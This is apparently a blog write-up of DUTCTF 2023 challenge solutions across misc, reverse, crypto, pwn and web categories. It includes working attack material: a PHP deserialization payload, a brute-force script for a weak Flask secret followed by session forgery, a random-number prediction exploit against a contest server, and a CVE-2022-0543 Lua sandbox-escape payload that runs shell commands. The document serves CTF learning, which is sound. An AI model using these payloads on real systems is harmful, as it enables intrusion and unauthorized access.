[DUTCTF 2023] Writeup by Z3ds1ch

First Post:

Last Update:

Word Count:
2.5k

Read Time:
11 min

cover

[DUTCTF 2023] Writeup by Z3ds1ch

小摸了个Second,可惜没有AK WEB,好好学习下次加油,>_<

Misc

*签到题

做题记录被删了qwq

直接b站视频一个个翻评论就能找到flag

*Minecraft

wurstclient直接xray+flight+fullbright,配合饼图找非自然方块找到箱子,从书与笔中获得flag

我在哪?🥵

crack_123

在右上角可以发现十八中CIC,又已知这是江边,搜索这些关键词就能找到答案曾家岩md5加密即可

(某个网站md5加密坏了好几年了一直不修,我不说是谁,还得用cyberchef

不要更新!

QQ图片20230328172150

在流量包里搜索字符串flag,可以找到一个GithubRepository,找到这个仓库(https://github.com/IShiraiKurokoI/Flag),仓库里有1.0.0Release版本,根据题目描述不要更新可以联想到需要找到之前的版本/日志,直接使用Github自带的compare功能就能找到flag,一眼凯撒,直接转就行

QQ图片20230328094846

ez_img

解压之后只有一张图片2.png

QQ截图20230328100330

先拖进010editor中扫一眼

QQ图片20230328100620

显然最后一个IDAT块有些问题,但提取有些困难,暂且按下不表,先看看有没有简单的,Ctrl+F搜索字符串flag,找到了flag头,直接Base64 Decode即可

QQ图片20230328101218

再尝试一下是不是藏东西了,直接foremost拆出来4.pngQRcode

QQ图片20230328100228

QQ图片20230328101516

4.pngflag中间一段直接送了,显然QRcode是最后一段了,直接脚本转成二维码就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
from gmpy2 import *
import sys
from zlib import *
sys.set_int_max_str_digits(0)
MAX = 500
pic = Image.new("RGB",(MAX,MAX))

with open "QRcode" as f:
str=f.readline()

str=bin(int(str))
print(iroot(len(str),2))
i=0
for y in range(0,MAX):
for x in range(0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
# DUTCTF{3E07747C-E552-EC96-003C-F3DBD9CD6704}

看雪❄

自从那个冬夜看雪,一晃已是二十年,当年的脚本小子们都在哪个irc频道聊天呢?flag格式为DUTCTF{ip:port#频道名}

看到题目描述能判断出是要社工出看雪论坛irc频道,先去bbs.kanxue.com找一下线索

QQ图片20230328103234

尝试了一下果然不对,使用方法给的连接也无效了,联想到之前有一篇讲看雪创始的新闻https://zhuanlan.zhihu.com/p/23831052,标题是自从那个冬夜看雪,一晃已是十六年,所以可能是要找2003年左右的irc频道,再继续往下翻论坛的评论区可以证实我们的猜想

QQ图片20230328103701

坛主说在三四年前(2002/2003)确实有过irc频道,但我们在现在的论坛里找不到当时的记录了,可能是时间过久被删除或是因为其他原因不见了,在https://www.pediy.com/kssd/pediy05/pediy50326.htm里可以找到一些之前的帖子,但很多帖子还是失效了,找了很久还是无果,所以只能尝试用网页快照来恢复。但很可惜百度快照Google快照等等功能都被关闭了,国内的忆往昔保存的网页历史快照最早只有2022年,在一番搜索下找到了WayBackMachine:archive.org,搜索之前发现的失效的地址www.pediy.com/irc.htm可以找到当时的记录

QQ图片20230328104955

随便点开一篇最开头就能找到答案了

QQ图片20230328105119


REVERSE

*贪吃蛇

拖进ida里直接Shift+F12就能找到flag

GAME!

下棋就行(为了帮忙测试新附件对不对又重下了一遍)

QQ图片20230328180907

QQ图片20230328180915

ezdraw

拖进ida里按空格会报错The graph is too large to be displayed,搜索解决方案后再按空格就能看到flag

QQ图片20230328111623


CRYPTO

上次AK了CRYPTO,现在正在转WEB的途中,难题都没出,只能说老本行手生了

*老滚五

直接龙语翻译即可

*神奇的短信

因为题目信息是诺基亚,题目描述里又说是全大写字母,可以联想到是键盘输入字母

其实是猜的,五位全字母显然是队名啊qwq

shamir

shamir基本原理

​ 假设我们存在一个秘密S,把秘密S进行特定运算,得到w个秘密碎片,交给w个人保存,当至少t个人同时拿出自己所拥有的秘密碎片时,即可还原出最初的秘密S

秘密碎片生成

​ 我们先构造一个多项式:,其中,s是我们的秘密,p是一个素数,而且满足,取w个不相等的x,代入中,得到w,分配给w个人,公开p,销毁多项式,每个人负责保密自己的

秘密恢复

​ 当时,,即可恢复s,将i带入下面这个式子即可,

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import Crypto.Util.number as numb
import random

def oj(a, n):
a = a % n
s = [0, 1]
while a != 1:
if a == 0:
return 0
q = n // a
t = n % a
n = a
a = t
s += [s[-2] - q * s[-1]]
return s[-1]

def create(max_length=513, secret_is_text=0, p=0):
if not p:
p = numb.getPrime(max_length)

w = int(input("请输入秘密保存人数:"))
t = int(input("请输入秘密恢复所需人数:"))
while not (t > 0 and t <= w):
t = int(input("请重新输入:"))
s = input("请输入你的秘密:")

if secret_is_text:
s = numb.bytes_to_long(s.encode("utf-8"))
else:
try:
s = int(s)
except Exception as e:
s = numb.bytes_to_long(s.encode("utf-8"))

x_list = list()
a_list = list()
i = w
while i > 0:
x = random.randint(p // 2, p)
if x not in x_list:
x_list.append(x)
i -= 1

for a in range(t):
a_list.append(random.randint(p // 2, p))

result = list()
for x in x_list:
y = s
for a_n in range(t):
a = a_list[i]
y += a * pow(x, i + 1, p)
result.append((x, y))
return t, p, result

def restore(p, information, get_text=1):

x_list = list()
y_list=list()
for x, y in information:
x_list.append(x)
y_list.append(y)

s = 0
for x_i in range(len(x_list)):
tmp_num = y_list[x_i]
x_i_j = 1
for x_j in range(len(x_list)):
if x_i != x_j:
tmp_num = tmp_num * (0 - x_list[x_j]) % p
x_i_j *= x_list[x_i] - x_list[x_j]
tmp_num = tmp_num * oj(x_i_j, p) % p
s += tmp_num

s = s % p
print(s)
if get_text:
try:
s = numb.long_to_bytes(s)
s = s.decode("utf-8")
except Exception as e:
print(e)

return s

t, p, result = create()
print(result)
print(restore(p, result[:t]))

随机数的力量

看题目发现和去年SSSCTF 2022一样,所以猜测还是和预测随机数有关,先看一下task.py,唯一有用的是下面这一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def handle(self):
self.send(b'welcome to this guess game!')
self.send(b'please tell me your name:', newline=False)
name = self.recv()
if bytes_to_long(name).bit_length() <= 32:
self.send(b'flag')
exit()
self.send(b'Let\'s guess!')
while True:
guess = random.randint(0, bytes_to_long(name))
self.send(b'>', newline=False)
if int(self.recv().decode()) == guess:
self.send(flag)
else:
self.send(b'sorry, but the num is:', newline=False)
self.send(str(guess).encode())

我们需要发送一个name,且满足bytes_to_long(name).nbit_length()>32,随后服务端会调用randint()函数,从0bytes_to_long(name)中随机生成一个数让我们进行猜测

首先我们需要知道,Python中的random模块是可以人为破解的,其底层是使用梅森旋转算法来生成伪随机数序列,可以先去了解一下:https://blog.csdn.net/tianshan2010/article/details/83247000,由于生成算法已知,所以可以人为预测,可以采用的python库有Python-random-module-crackermersenne-twister-predictor,虽然前者可以直接预测randint(),但只能预测(0,4294967294)这个范围内的数,所以要用后者,但官方提供的只有getrandbits()。我们查看一下getrandbits()的源码,可以发现一条利用链:实际上randint(a,b)函数返回值的生成过程,是调用randrange(a,b+1)函数。而randrange(a,b+1)函数是先获取宽度width=b+1-a,然后当宽度大于最大宽度时,调用a+_randbelow(width)函数。而_randbelow(width)函数,首先计算k = _int(1.00001 + _log(n-1, 2.0)),相当于计算width转化成二进制位有多少位,然后在调用getrandbits(k)。由于预测32位的随机数需要传624个参数,简单推导一下就可以知道传312个参数就可以预测64位的随机数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import random
from mt19937predictor import MT19937Predictor

predictor = MT19937Predictor()
name_num=2**64-2
name=long_to_bytes(name_num)

io=remote("210.30.97.133",28044)
io.recvuntil(b'please tell me your name:')
io.sendline(name)
for i in range (312):
print("Times: ",i)
io.recvuntil(b'>')
io.sendline(b'1')
io.recvuntil(b'sorry, but the num is:')
num = io.recvline()
num = int(num)
# print(num)
predictor.setrandbits(num,64)
io.recvuntil(b'>')
predict_num=bytes(str(predictor.getrandbits(64)).encode())
# print(predict_num)
io.sendline(predict_num)
print(io.recvline())

PWN

*中间人

简单的滚动码开车门,intercept之后发送下一次的信号就能开门了


WEB

非常的可惜没有AK,转WEB没多久,sql还没怎么学,果然还是不能急于求成

embryo_web

BurpSuite抓个包看注释就有flag了

*Trenja

直接玩两个小游戏就能出flag,但还是比较推荐翻js的源码

babyphp

简单的php反序列化,随手构造个链子就行:User->__destruct()->Info->update()->win()

POC

1
$a='O:4:"User":3:{s:4:"name";s:5:"admin";s:6:"passwd";N;s:4:"info";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";s:5:"admin";s:8:"birthday";N;}}';

fake_session

先上题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import Flask, session
import random
import my_secret

app = Flask(__name__)
app.config['SECRET_KEY'] = my_secret.my_secret()


@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("23333", k=5))
return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
if session.get('user') != "admin":
return "you are not admin!go away"
else:
flag = ''
with open('/flag', 'r') as f:
for line in f:
flag += line
return 'Congratulations! You logged in as admin. Here is the flag:{}'.format(flag)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

显然是伪造session的题,cookie里用flask_unsign直接伪造就行,我们没有secret,但提示了是弱口令,自己写个字典爆破一下就能出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import string
import flask_unsign
table = string.ascii_letters + string.digits
# s = string.digits
# s=["0","1","2","3","4","5","6","7","8","9"]
index=[]
for s1 in table:
for s2 in table:
for s3 in table:
s=s1+s2+s3
index.append(s)

l=len(index)
with open ("index.txt",mode="w") as f:
for i in range (l):
if (i%10000==0):
print("times:",i)
f.write("\"")
f.write(index[i])
f.write("\"\n")

爆破一下secret

1
2
3
4
5
PS C:\> flask-unsign --unsign --cookie 'eyJ1c2VyIjoiMzMyMjMifQ.ZCBOug.JAGEY2qy_y_fzPhWoQWYw95jSf4' --wordlist "index.txt"
[*] Session decodes to: {'user': '33223'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 216448 attempts
'4rc'

然后伪造一下数字签名,用cookie edior改一下cookie就可以了

cve

去年[虎符CTF 2022] Quest-RCE原题,利用了CVE-2022-0543来进行沙盒逃逸

1
2
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("*a");f:close();return res
---在"id"进行这里恶意代码注入

读一下源码发现有base64.StdEncoding.DecodeString(custom),所以payload要进行一次Base64加密

POST doCustom路由,对custom传参payload就行

reward
Alipay
Wechat